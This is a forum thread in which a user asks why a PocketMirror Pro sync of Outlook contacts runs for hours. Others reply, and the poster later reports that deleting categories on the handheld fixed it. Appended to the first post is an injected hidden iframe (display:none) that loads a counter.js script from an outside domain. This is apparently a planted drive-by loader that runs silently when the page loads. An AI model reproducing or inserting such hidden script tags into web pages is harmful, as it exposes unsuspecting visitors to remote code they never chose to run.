I had some kind of sync glitch yesterday, a machine crash mid-sync, I think. After screwing around a lot, after a hard reset and backupbuddy restore from a pre-crash backup set, I now still have the same problem I had last night, a problem in the contacts folder (everything else syncs fine). I'm running PocketMirror Pro, syncing Outlook contacts. I have custom settings for "DT overwrites HH," for the contacts folder. Once started, though, the sync operation runs forever. It ran for 8 hours last night, overnight, at home, before I crashed it and started over this morning. It's now doing the same thing, apparently, on my office desktop. I only have about 200 records in the Contacts folder. This shouldn't take that long. Does anyone have ANY suggestions or thoughts, PLEEEEZE? I don't have much hair left. THANKS.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

My suggestion would be to switch to Desktop To Go by DataViz. I've had no problems synching with Outlook contacts using that software - ever. And I've got thousands of contacts.
I'd already done most of what you suggest. I just now got the latest update of PocketMirror Pro. Running that produced a new error message about a category conflict or duplication. I went to the handheld, addressbook, and deleted ALL categories. Aftetr that, the overwrite went just fine, and everything now seems normal.
